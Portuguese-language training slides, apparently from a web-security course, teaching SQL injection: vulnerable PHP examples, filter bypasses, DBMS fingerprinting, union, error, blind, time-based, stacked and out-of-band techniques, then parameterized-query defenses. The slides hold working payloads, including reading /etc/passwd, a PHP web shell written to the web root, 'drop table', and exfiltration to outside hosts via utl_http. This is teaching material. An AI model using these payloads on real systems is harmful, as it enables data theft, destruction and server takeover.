O documento descreve técnicas de injeção SQL e como explorar vulnerabilidades em aplicações web. Em 3 frases ou menos, o documento discute introdução a SQL injection, como descobrir falhas, analisar filtros, identificar o banco de dados, localizar a falha na query, e técnicas como union, erro, fora da banda e cega. O documento também fornece exemplos de código vulnerável e como evitar e mitigar SQL injection.
3. SQL Injection
Introdução
O que é?
Inserção de códigos SQL através da manipulação de dados de entrada
passados ao aplicativo web.
Como se dá?
O desenvolvedor é o responsável direto por tornar o código inseguro.
Causas
Desenvolvedor desconhece fatos inerentes a segurança de código, assim
como a possibilidade de exploração do mesmo.
Desenvolvedor conhece fatos inerentes a segurança de código, mas é
displicente em tomar medidas preventivas para correção do mesmo.
Falta de processos definidos relativos a desenvolvimento seguro e
auditoria.
4. SQL Injection
Introdução
Exemplo de código vulnerável (formulário de login)
$query = "select id from usuarios where user='$_GET['user']' and
password='$_GET['password']'";
$usuario = mysql_query($query);
http://vulnsite.com/admin/login.php?
user=admin
&password=' OR '1'='1
Query manipulada:
select id from usuarios where user='admin' and password='' or '1'='1'
Condição 1=1 sempre verdadeira. Login realizado com sucesso.
5. SQL Injection
Introdução
Características
Não necessita interação do usuário, ao contrário de XSS.
Sintaxe SQL idêntica ou bastante similar entre todos os SGBD/DBMS.
Cheat sheets (Lista dos comandos básicos de SQL p/ cada linguagem)
Fácil de ser encontrada e explorada.
Possibilidade de acesso ao sistema de arquivos.
Possibilidade de exploração de vulnerabilidades no SGBD/DBMS.
Dificuldade em se obter mecanismos de proteção genéricos.
Milhões de ferramentas livres/open source para scan, análise e exploração.
Presente na grande maioria dos sites.
7. SQL Injection
Introdução
Cookbook
Post-exploitation
Atingindo outros objetivos
Encontrando outras falhas
Quebrando senhas/hashs usando rainbowtables
Acesso ao sistema de arquivos
Virando root
9. SQL Injection
Análise - Filtros
Analisando e burlando filtros
Filtros genéricos de remoção/bloqueio baseado em tokens
Exemplo:
replace("union| |select|--|/*|...", "");
Bypass
Encoding usando tabela ASCII e hexadecimal
URLs só podem ser enviadas através da Internet utilizando o
conjunto de caracteres ASCII.
URLs contêm geralmente caracteres fora do conjunto ASCII, que
tem de ser convertidos em um formato ASCII válido.
Encoding de URL substitui caracteres ASCII inseguro com um
"%" seguido de dois dígitos hexadecimais.
Exemplo:
union vira %75%6e%69%6f%6e
10. SQL Injection
Análise - Filtros
Analisando e burlando filtros
Filtros genéricos de remoção/bloqueio baseado em tokens
Exemplo:
replace("union| |select|--|/*|...", "");
Bypass
Usar outros caracteres para separação entre tokens: 'n'(0x0A),
't'(0x0B), etc
Exemplo:
Objetivo: id=1 union select 1,2,3--
Bypass: id=1%0Aunio--n%0Aselec--t%0A1,2,3-select-
maiúsculas/minúsculas
select vira sElEcT
11. SQL Injection
Análise - Filtros
Analisando e burlando filtros
Filtros de tratamento de caracteres SQL especiais
mysql_real_escape_string/addslashes/etc.
trata caracteres ', ", /, , x00, adicionando '' antes dos
mesmos, sanitizando-os
Bypass:
usar a função char()
Exemplo:
union select column_name from
information_schema.columns where table_name =
'tabela'
union select column_name from
information_schema.columns where table_name =
CHAR(116, 97, 98, 101, 108, 97)
Filtro de tamanho no parâmetro
Utiliza função que corta/bloqueia em X bytes o parâmetro
12. SQL Injection
Análise - Identificação do SGBD
Identificação do SGBD/DBMS
Necessário para extração dos dados/construção da consulta
Sintaxe SQL única para cada SGBD
Cheat sheets de funções únicas de cada SGBD
MySQL
CONNECTION_ID()=CONNECTION_ID(), USER()=USER(), substring
(@@version, 1, 1)
Oracle
ROWNUM=ROWNUM, LENGTH(SYSDATE)=LENGTH(SYSDATE)
MS SQL Server
BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123), HOST_NAME()
=HOST_NAME()
Postgree SQL
1::int=1, VERSION()=VERSION()
13. SQL Injection
Análise - Localização
Query inteira
http://vulnsite.com/script.php?sql=select+id,nome+from+usuarios
Colunas/Tabelas
http://vulnsite.com/script.php?
colunas=cidade&tabela=estado&nome=brasilia
$query = "select $_GET['colunas'] from $_GET['tabela'] where nome =
'$_GET['nome']'";
Where/Having
http://vulnsite.com/script.php?noticiaid=2
$query = "select titulo,corpo from noticias where id = $_GET['noticiaid']";
Order/Group By
http://vulnsite.com/lista.php?ordenar_por=preco
$query = "select id,nome,preco from produtos order by $_GET
['ordernar_por']";
14. SQL Injection
Análise - Localização
Limit
http://vulnsite.com/lista.php?pagina=0&linhas_por_pagina=10
$query = "select id,nome,preco from produtos order by preco limit $_GET
['pagina'], $_GET['linhas_por_pagina']";
15. SQL Injection
Análise - Técnicas
Union/In-band based
Resultado parcial ou total da query na página de resposta.
Resultado depende da lógica do script
O resultado pode aparecer no cabeçalho
Cookies, Location, etc.
Exemplo em ADS:
http://site.com/ads.php?url=1
$query = "select uri from urls where id = $_GET['url']";
$result = mysql_query($query);
header("Location: ".mysql_result($result, 1));
16. SQL Injection
Análise - Técnicas
Union/In-band based
É necessário a identificação da quantidade de colunas da consulta anterior.
A união das consultas deve possuir o mesmo número de colunas.
Exemplo:
select id, nome from users where id=3 union select 1, @@version
Uso do order by para descobrir o número de colunas:
http://vulnsite.com/lista.php?id=3 order by 20
Força bruta com NULL para adivinhar o número de colunas
id=3 union select null, null, null
17. SQL Injection
Análise - Técnicas
Union/In-band based
Exemplo:
$query = "select nome, telefone from usuarios where id = $_GET['id']"
http://vulnsite.com/users.php?id=3 union all select table_name,
table_schema from information_schema.tables#
18. SQL Injection
Análise - Técnicas
Error based
Baseado na manipulação de mensagens de erro geradas pelo SGBD
Resultado limitado a um número X de caracteres.
Barulhento (gera mensagens de erro que podem ser armazenadas na
máquina)
Exemplo:
d=1' AND (SELECT 2373 FROM(SELECT COUNT(*),CONCAT(CHAR
(58,122,101,100,58),(select @@version),CHAR(58,112,122,120,58),FLOOR
(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND
'kGgv'='kGgv&Submit=Submit
ERROR 1062 (23000): Duplicate entry ':5.1.41-3ubuntu12.10:1' for key
'group_key'
19. SQL Injection
Análise - Técnicas
Out-of-band based
Uso de requisições DNS e HTTP para recuperar dados
Resultado limitado a uma quantidade X de caracteres
Exemplo:
utl_http.request('http://www.foo.com:80/'||(select username from
dba_users where rownum=1))
10.1.1.101 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1"
404 0 - -
utl_http.request('http://'||(select user from dual)||'.dyndns.com')
Verificar logs do bind/named ou;
Wireshark/tcpdump na porta 53 do servidor DNS.
20. SQL Injection
Análise - Técnicas
Blind based
Realiza inúmeras comparações para obtenção da informação
Muito lento
Aperfeiçoado usando-se paralelismo (threads)
Aperfeiçoado usando-se busca binária.
Exemplo:
id=1 and substring(@@version, 1, 1)=5
id=1 and substring(@@version, 2, 1)='.'
etc
21. SQL Injection
Análise - Técnicas
Full-blind time based
Baseada em tempo de resposta
waitfor delay '0:0:5', sleep(5), etc.
Mais lenta de todas
Pode-se utilizar paralelismo
Pode-se utilizar "heavy queries":
BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
Pode gerar resultados inválidos/inconsistentes
Exemplo:
http://vulnsite.com/vulnscript.php?id=45;if EXISTS (select loginame
from master..sysprocesses where spid = @@SPID and loginame =
'dominiousuario') waitfor delay '0:0:5'--
Dorme 5 segundos caso o loginame seja o especificado.
22. SQL Injection
Análise - Técnicas
Stacked based
Permite alteração dos dados no BD. UPDATE, DROP, etc.
Possível somente em algumas tecnologias.
Pode ser utilizada em conjunto com a técnica baseada em tempo e baseada
em erro.
Exemplo:
busca=nome'; drop table noticias--
busca=nome'; if (substring(@@version, 1, 1)='M') waitfor delay '0:0:5'
else select 1;--
23. SQL Injection
Análise - File Access
Depende do nível de permissão do usuário.
Permite leitura, escrita e execução de arquivos com a permissão do usuário
rodando o DBMS.
Exemplo:
Leitura:
id=1 union select load_file('/etc/passwd');
Escrita:
id=1 union select "<?php system($_GET['cmd']); ?>" into outfile
'/var/www/c.php';--
id=1 union select "<?php fwrite(fopen($_POST[t],w),$_POST[d]); ?>"
into outfile '/var/www/c.php';--
Execução:
xp_cmdshell()
UDF Injection
24. SQL Injection
Evitando SQLi
Solução global: usar consultas/querys parametrizadas
Exemplo (Unsafe)
$unsafe_variable = $_POST["user-input"];
mysql_query("select * from users where id = ".$unsafe_variable);
Exemplo (Safe)
$preparedStatement = $db->prepare('select * from users where id = :
id');
$preparedStatement->execute(array(':id' => $unsafe_variable));
$rows = $preparedStatement->fetchAll();
TRATAR TODAS as possíveis mensagens de erro, configurar tecnologia para
não mostrar erros para o usuário.
25. SQL Injection
Evitando SQLi
Sanitizar/tratar todos os parâmetros recebidos dos usuários.
Inteiro
Converter entrada para inteiro (intval(), is_numeric());
Tratar possibilidade de números negativos;
String
Tratar caracteres especiais (htmlentities($param, ENT_QUOTES))
html, sql, etc.
26. SQL Injection
Hands On - Ao que interessa
Demonstração de todos os passos para exploração de Web App Flaws.
DVWA - ferramenta de demonstração/aplicação de vulnerabilidades
SQLMAP - ferramenta para extração de dados